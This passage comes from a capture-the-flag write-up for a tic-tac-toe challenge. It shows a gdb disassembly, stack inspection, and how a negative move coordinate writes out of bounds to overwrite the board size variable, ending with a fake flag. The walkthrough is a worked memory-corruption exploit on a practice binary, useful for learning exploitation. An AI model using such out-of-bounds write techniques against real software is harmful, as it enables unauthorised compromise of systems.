0x0000000000001368 <+319>: lea rax,[rbp-0x11]
0x000000000000136c <+323>: mov esi,edx
0x000000000000136e <+325>: mov rdi,rax
0x0000000000001371 <+328>: mov eax,0x0
0x0000000000001376 <+333>: call 0x1bfb <printBoard>
0x000000000000137b <+338>: mov ecx,DWORD PTR [rbp-0x24]
0x000000000000137e <+341>: mov r8d,DWORD PTR [rbp-0x28]
0x0000000000001382 <+345>: lea rdi,[rbp-0x1c]
0x0000000000001386 <+349>: lea rdx,[rbp-0x20]
0x000000000000138a <+353>: mov esi,DWORD PTR [rbp-0x18]
0x000000000000138d <+356>: lea rax,[rbp-0x11]
0x0000000000001391 <+360>: sub rsp,0x8
0x0000000000001395 <+364>: push rcx
0x0000000000001396 <+365>: mov r9d,r8d
0x0000000000001399 <+368>: mov r8,rdi
0x000000000000139c <+371>: mov rcx,rdx
0x000000000000139f <+374>: mov edx,0x4
0x00000000000013a4 <+379>: mov rdi,rax
0x00000000000013a7 <+382>: mov eax,0x0
0x00000000000013ac <+387>: call 0x18dd <move>
0x00000000000013b1 <+392>: add rsp,0x10
0x00000000000013b5 <+396>: nop
0x00000000000013b6 <+397>: mov rax,QWORD PTR [rbp-0x8]
0x00000000000013ba <+401>: sub rax,QWORD PTR fs:0x28
0x00000000000013c3 <+410>: je 0x13ca <main+417>
0x00000000000013c5 <+412>: call 0x10e0 <__stack_chk_fail@plt>
0x00000000000013ca <+417>: leave
0x00000000000013cb <+418>: ret
End of assembler dump.
Let's break with ctrl+c
just after we are prompted for input and observe our stack to find out what offsets are needed for the overwrite to take place.
According to the IDA decompilation our side_len
variable is written at rbp-18
. Thus lets inspect and verify that it now holds a value of 3
x/1ub $rbp-0x18
0x7fffffff9b68: 3
Lets now also verify the position of our board also
x/9db $rbp-0x11
0x7fffffff9b6f: 95 95 95 95 88 95 95 95
0x7fffffff9b77: 95
Thus we know that to overwrite the side length we need to go 0x18 - 0x11 = 7
positions back. But remember that the y axis is multiplied by side_len
which is initially 3. Thus our y is multiplied by 3
. Hence a y=-3,x=2
-> 3*-3 +2=-7
or y=-2,x=-1
-> -2*3 -1=-7
would work.
Once we enter such a move we can inspect if we have successfully overwritten side_len
x/1ub $rbp-0x18
0x7fffffff9b68: 79
Thus we can now quite literally play and win the game outside of the box/board
. E.g with 3,0 , 3,1 , 3,2 or any 3 adjacent squares in our new 79x79
tic-tac-toe board!
Welcome to Tic-Tac-Toe! In order to get the flag, just win! The bot goes first!
_ | _ | _
---|---|---
_ | X | _
---|---|---
_ | _ | _
Move: -2,-1
_ | _ | _
---|---|---
_ | X | _
---|---|---
_ | _ | _
Bot turn!
_ | _ | _
---|---|---
_ | X | _
---|---|---
_ | _ | _
Move: 3,0
_ | _ | _
---|---|---
_ | X | _
---|---|---
_ | _ | _
Bot turn!
_ | _ | _
---|---|---
_ | X | _
---|---|---
_ | _ | _
Move: 3,1
_ | _ | _
---|---|---
_ | X | _
---|---|---
_ | _ | _
Bot turn!
_ | _ | _
---|---|---
_ | X | _
---|---|---
_ | _ | _
Move: 3,2
Returning!
_ | _ | _
---|---|---
_ | X | _
---|---|---
_ | _ | _
You won! Flag: n00bz{fake_flag_for_testing}